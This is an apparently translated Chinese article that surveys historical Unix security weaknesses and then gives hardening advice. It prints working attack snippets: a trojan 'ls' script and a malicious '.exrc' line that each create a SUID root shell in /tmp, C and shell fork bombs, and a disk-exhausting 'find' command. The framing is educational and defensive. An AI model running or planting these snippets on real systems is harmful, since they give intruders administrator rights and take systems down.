首页  /  预约专享  /  23、Unix 系统安全漏洞深度剖析

23、Unix 系统安全漏洞深度剖析

预约专享 9891

Unix 系统安全漏洞深度剖析

1. PATH 变量问题

Unix 系统在执行命令时,需要通过用户的 PATH 变量来定位对应的可执行文件。例如,若 PATH 环境为

:/bin:/usr/bin:/etc:/usr/local/bin:

,当输入

snarf

命令时,Unix 会按顺序在

/bin

/usr/bin

/etc

/usr/local/bin

目录中搜索

snarf

程序。

然而,像

PATH=:.:/bin:/usr/bin:/usr/local/bin:

这样的 PATH 变量设置存在安全隐患。将当前目录(

.

)作为搜索的第一个目录,虽然在开发新程序时很方便,但也容易被攻击者利用。攻击者可以在自己的主目录下创建一个名为

ls

的文件,内容如下:

#!/bin/sh

# Start a shell.

/bin/cp /bin/sh /tmp/.sh1

# Copy the shell program to /tmp.

/etc/chmod 4755 /tmp/.sh1

# Give it the privileges of the person invoking the ls command.

/bin/rm \$0

# Remove this script.

exec /bin/ls \$1 \$2 \$3 \$

# Run the real ls.

当系统管理员进入攻击者的主目录并执行

ls

命令时,运行的将是攻击者创建的

ls

程序,该程序会在

/tmp

目录下创建一个具有管理员权限的 SUID 外壳程序。攻击者随后可以使用这个程序来读取、删除或运行管理员的文件,而无需知道其密码。

2. 启动陷阱

复杂的 Unix 程序在启动时,会从用户主目录和/或当前目录读取配置文件,以设置初始参数。这就为攻击者留下了可乘之机,他们可以创建启动文件来执行恶意操作。

vi

编辑器为例,它在启动时会在当前目录中搜索名为

.exrc

的启动文件。攻击者可以在某个目录下创建一个包含以下内容的

.exrc

文件:

!(cp /bin/sh /tmp/.s$$;chmod 4755 /tmp/.s$$)&

当不知情的系统管理员从该目录启动

vi

时,屏幕底部会短暂出现一个闪烁的感叹号,攻击者则会在

/tmp

目录下获得一个具有权限的 SUID 外壳程序。

3. 可信路径与特洛伊木马

标准 Unix 系统没有提供通往操作系统的可信路径。以 Unix 登录过程为例:

login: jrandom

password:

当用户输入密码时,无法确定是在向真正的

/bin/login

程序输入,还是在向伪装成该程序的特洛伊木马输入。这些特洛伊木马在黑客论坛上很容易获取,其目的就是窃取用户的用户名和密码。

在大多数 Unix 版本中,理论上无法获得可信路径,因为询问用户名的

/etc/getty

和询问密码的

/bin/login

与其他普通程序并无本质区别,用户无法验证它们的真实性。

4. 被入侵系统难以恢复

一旦 Unix 系统被入侵,重新确保其安全性非常困难。入侵者通常会留下启动陷阱、后门和特洛伊木马等。在发生安全事件后,重新安装操作系统往往比修复系统更容易。

例如,麻省理工学院的一台计算机曾被入侵。虽然攻击者最终被发现,初始的入侵漏洞也被修复,但系统管理员没有意识到攻击者修改了

/usr/ucb/telnet

程序。在接下来的六个月里,每当用户使用该程序连接到其他计算机时,程序都会记录远程计算机的用户名和密码,直到硬盘因存储这些信息而空间耗尽才被发现。

攻击者还可以轻松隐藏自己的踪迹,他们会修改日志文件,甚至利用超级用户权限重新设置系统时钟或修改文件时间。此外,Unix 文件系统的权限设置复杂,一个文件、目录或设备的权限设置错误都可能危及整个系统的安全。

5. 加密问题

加密是计算机安全的重要组成部分,但 Unix 系统没有内置的自动加密硬盘文件的功能。当硬盘或备份磁带被盗时,攻击者只需将其连接到其他系统,就可以访问所有文件。

大多数 Unix 版本自带的加密程序

crypt

存在严重问题,其加密算法非常脆弱,几年前就有麻省理工学院的研究生编写了自动解密

crypt

加密文件的程序。从

crypt

程序手册页的免责声明可以看出,其开发者也知道该程序的不稳定性和不可靠性。

一些较新的 Unix 版本包含使用美国国家安全局数据加密标准(DES)的

des

程序。虽然 DES 算法本身相对安全,但

des

程序缺乏验证机制,无法确保其在执行前未被修改,攻击者可能会利用它窃取加密密钥或发送加密数据的副本。

6. 隐藏文件问题

Unix 的

ls

程序默认会隐藏以点开头的文件,攻击者会利用这一特性,将破坏系统的工具命名为以点开头的文件名,从而隐藏这些工具。此外,使用包含空格或控制字符的文件名也是一种隐藏文件的有效方法。许多用户看到主目录下有一个名为

system

的文件时,可能不会多想,尤其是当他们无法通过

rm system

命令删除该文件时,会认为这是系统的关键资源。但实际上,这个文件可能包含从其他计算机窃取的信息。

7. 拒绝服务攻击

拒绝服务攻击可以使计算机无法为其他用户提供服务,但不一定会获取特权信息。与其他操作系统相比,Unix 系统对拒绝服务攻击的内置防护措施较少,这是因为 Unix 最初是在研究环境中开发的,更注重用户对计算机资源的利用,而不是防止用户之间的资源占用冲突。

用户可以通过编译并运行以下程序来使 Unix 系统陷入瘫痪:

main()

{

while(1){

fork();

}

}

该程序会不断调用

fork()

系统调用创建新进程,导致系统无法再创建更多进程,最终使系统崩溃。即使不使用 C 编译器,也可以通过 Unix 外壳程序实现类似攻击:

#!/bin/sh

$0 &

exec $0

一旦发动攻击,唯一恢复系统控制权的方法可能就是拔掉电源,因为此时无法运行

ps

命令获取进程号,也无法运行

su

命令切换到超级用户,甚至在使用

sh

时无法运行

kill

命令。

虽然有些 Unix 版本设置了每个用户的进程限制,但这并不能完全防止系统变得不可用,因为 Unix 没有设置每个用户的 CPU 时间配额,攻击者的多个进程仍可能使系统资源耗尽。

8. 系统使用情况缺乏监控

Unix 计算机有时会莫名其妙地变慢,用户向系统管理员抱怨时,管理员可能会通过一些命令发现是某个程序(如

sendmail

)占用了大量 CPU 时间,只能杀死该进程并希望下次不会出现类似情况。

此外,由于 Unix 网络系统的设计问题,攻击者可以通过远程控制使网络中的任何 Unix 计算机瘫痪。只需编写一个程序,打开与远程计算机

sendmail

守护进程的 50 个连接,并发送随机数据,就可以使远程计算机出现突然的、不明原因的变慢。如果随机数据导致

sendmail

程序崩溃,目标计算机的运行速度会更慢。

9. 磁盘过载攻击

Unix 系统对磁盘和网络活动的处理方式较为原始,攻击者可以通过以下命令启动四到五个

find

任务,使系统陷入磁盘过载状态:

% repeat 4 find / -exec wc {} \;

每个

find

进程会读取文件系统中每个可读文件的内容,这会清空操作系统的磁盘缓冲区,导致系统几乎立即停止响应。这种攻击方式简单有效,且目前没有有效的防范措施。

10. 蠕虫攻击

1988 年 11 月,一种名为“蠕虫”的电子寄生虫通过互联网攻击了美国数千台工作站和超级小型计算机。新闻报道将责任归咎于康奈尔大学的一名研究生罗伯特·T·莫里斯,但实际上,真正的问题在于 Unix 操作系统的开发者和供应商多年来对计算机安全问题的忽视。

莫里斯的蠕虫利用了 Unix 操作系统中的两个已知漏洞进行攻击。其中一个漏洞与

sendmail

程序有关,该程序包含一个名为

DEBUG

的特殊命令,攻击者可以通过网络连接到

sendmail

并发送该命令,从而使其生成一个子外壳。另一个漏洞存在于

finger

程序中,攻击者通过向

finger

服务器发送虚假信息,迫使计算机执行一系列命令,最终创建一个子外壳。

这次事件被一些人比作计算机领域的“三里岛事故”,虽然造成的直接损失有限,但也给人们敲响了警钟。如果用户盲目跟随计算机行业采用不安全的 Unix 系统,可能会导致更严重的“计算机切尔诺贝利事故”。

综上所述,Unix 系统存在诸多安全漏洞,用户和系统管理员需要高度重视这些问题,采取有效的防范措施,以确保系统的安全稳定运行。

下面通过一个流程图来总结 Unix 系统常见的攻击方式:

graph TD

A[Unix 系统攻击方式] --> B[权限提升攻击]

A --> C[拒绝服务攻击]

A --> D[数据窃取攻击]

B --> B1[PATH 变量利用]

B --> B2[启动陷阱利用]

C --> C1[进程耗尽攻击]

C --> C2[磁盘过载攻击]

C --> C3[网络服务攻击]

D --> D1[特洛伊木马窃取]

D --> D2[加密漏洞利用]

同时,为了更清晰地展示不同攻击方式的特点,我们可以列出以下表格:

| 攻击类型 | 攻击方式 | 危害 | 防范难度 |

| ---- | ---- | ---- | ---- |

| 权限提升攻击 | 利用 PATH 变量、启动陷阱等 | 获取系统管理员权限,可任意操作文件和系统 | 较难,需严格管理系统配置和文件权限 |

| 拒绝服务攻击 | 进程耗尽、磁盘过载、网络服务攻击等 | 使系统无法正常运行 | 较难,部分攻击难以提前发现和阻止 |

| 数据窃取攻击 | 特洛伊木马、加密漏洞利用 | 窃取用户敏感信息 | 较难,需加强程序验证和加密措施 |

Unix 系统安全漏洞深度剖析(续)

11. 安全漏洞的综合影响

Unix 系统的这些安全漏洞相互交织,会对系统的正常运行和数据安全造成严重的综合影响。例如,权限提升攻击可能为后续的数据窃取和拒绝服务攻击提供便利条件。攻击者通过利用 PATH 变量或启动陷阱获取管理员权限后,就可以更轻松地安装特洛伊木马程序来窃取数据,或者发起拒绝服务攻击使系统瘫痪。

从数据安全角度来看,加密漏洞和数据窃取攻击可能导致用户的敏感信息,如密码、商业机密等泄露,给用户和企业带来巨大的损失。而拒绝服务攻击则会影响系统的可用性,导致业务中断,影响企业的正常运营。

12. 应对安全漏洞的建议

为了应对 Unix 系统的这些安全漏洞,用户和系统管理员可以采取以下措施:

-

加强 PATH 变量管理

:避免将当前目录作为 PATH 变量的第一个搜索目录。可以通过修改环境变量配置文件,如

.bashrc

.cshrc

,来调整 PATH 变量的设置。例如,将其设置为

PATH=/bin:/usr/bin:/usr/local/bin

,确保系统先在标准目录中搜索可执行文件。

-

严格控制启动文件

:定期检查用户主目录和当前目录下的启动文件,如

.exrc

等。对于不必要的启动文件,及时删除;对于必要的启动文件,要确保其内容的安全性。可以使用文件权限管理工具,如

chmod

命令,限制启动文件的访问权限,只允许所有者进行读写操作。

-

验证程序真实性

:在运行重要程序时,尤其是涉及到加密和登录等操作的程序,要尽可能验证其真实性。可以通过检查程序的数字签名、版本信息等方式来判断程序是否被篡改。例如,对于

des

程序,可以从官方渠道获取,并在运行前与官方发布的版本信息进行比对。

-

监控系统活动

:安装和使用系统监控工具,如

top

ps

netstat

等,实时监控系统的 CPU、内存、网络等资源使用情况。一旦发现异常活动,如某个程序占用大量 CPU 时间或出现异常的网络连接,及时进行调查和处理。同时,定期查看系统日志文件,如

/var/log/messages

等,从中发现潜在的安全威胁。

-

设置资源配额

:对于支持资源配额设置的 Unix 版本,合理设置每个用户的进程限制和 CPU 时间配额。可以通过修改系统配置文件,如

/etc/limits.conf

,来设置这些配额。例如,将每个用户的最大进程数限制为 100,最大 CPU 时间限制为每天 10 小时,以防止用户通过进程耗尽攻击使系统瘫痪。

-

及时更新系统和补丁

:密切关注 Unix 系统和相关软件的官方更新信息,及时安装安全补丁。许多安全漏洞在被发现后,开发者会发布相应的补丁来修复这些问题。通过定期更新系统和软件,可以有效降低系统被攻击的风险。

13. 安全漏洞的检测流程

为了及时发现 Unix 系统中的安全漏洞,可以按照以下流程进行检测:

graph TD

A[开始检测] --> B[收集系统信息]

B --> C[检查 PATH 变量]

B --> D[检查启动文件]

B --> E[检查程序真实性]

C --> F{是否存在风险}

D --> F

E --> F

F -- 是 --> G[记录风险信息]

F -- 否 --> H[继续检测其他方面]

G --> I[评估风险等级]

I --> J[制定修复方案]

J --> K[实施修复措施]

K --> L[再次检测]

H --> M[检测系统资源使用情况]

M --> N{是否存在异常}

N -- 是 --> G

N -- 否 --> O[检测网络连接情况]

O --> P{是否存在异常}

P -- 是 --> G

P -- 否 --> Q[检测文件权限设置]

Q --> R{是否存在风险}

R -- 是 --> G

R -- 否 --> S[检测结束]

L --> T{是否修复成功}

T -- 是 --> S

T -- 否 --> J

14. 不同安全漏洞的修复难度对比

不同类型的安全漏洞修复难度也有所不同,以下表格展示了常见安全漏洞的修复难度对比:

| 安全漏洞类型 | 修复难度 | 修复所需时间 | 修复主要措施 |

| ---- | ---- | ---- | ---- |

| PATH 变量问题 | 低 | 短(几分钟到几小时) | 修改环境变量配置文件 |

| 启动陷阱问题 | 中 | 中(几小时到一天) | 删除或修改恶意启动文件,加强文件权限管理 |

| 可信路径与特洛伊木马问题 | 高 | 长(一天以上) | 重新安装受影响的程序,加强程序验证机制 |

| 被入侵系统恢复问题 | 高 | 长(几天到几周) | 重新安装操作系统,清理残留的恶意程序和文件 |

| 加密问题 | 中 | 中(几小时到一天) | 更换加密程序,加强加密密钥管理 |

| 隐藏文件问题 | 低 | 短(几分钟到几小时) | 查找并删除隐藏的恶意文件,加强文件管理 |

| 拒绝服务攻击防范问题 | 中 | 中(几小时到一天) | 设置资源配额,优化系统配置 |

| 系统使用情况监控问题 | 中 | 中(几小时到一天) | 安装和配置系统监控工具 |

| 磁盘过载攻击防范问题 | 中 | 中(几小时到一天) | 优化磁盘 I/O 配置,限制磁盘操作 |

| 蠕虫攻击防范问题 | 高 | 长(一天以上) | 安装杀毒软件,及时更新系统补丁 |

15. 未来 Unix 系统安全展望

随着信息技术的不断发展,Unix 系统面临的安全挑战也在不断变化。未来,可能会出现更加复杂和隐蔽的攻击方式,对系统安全构成更大的威胁。

为了应对这些挑战,Unix 系统的开发者需要不断改进系统的安全机制,加强对系统的保护。例如,开发更加可靠的加密算法和程序验证机制,提供更完善的可信路径解决方案。同时,用户和系统管理员也需要不断提高安全意识,加强对系统的管理和监控。

此外,随着云计算、大数据等新技术的兴起,Unix 系统可能会更多地应用于这些领域,这也对其安全性能提出了更高的要求。未来的 Unix 系统需要更好地适应这些新技术的安全需求,确保在复杂的网络环境中能够稳定、安全地运行。

总之,Unix 系统的安全是一个长期而复杂的问题,需要开发者、用户和系统管理员共同努力,采取有效的措施来防范各种安全漏洞,保障系统的安全和稳定。通过不断地学习和实践,我们可以更好地应对 Unix 系统安全方面的挑战,为信息技术的发展提供坚实的保障。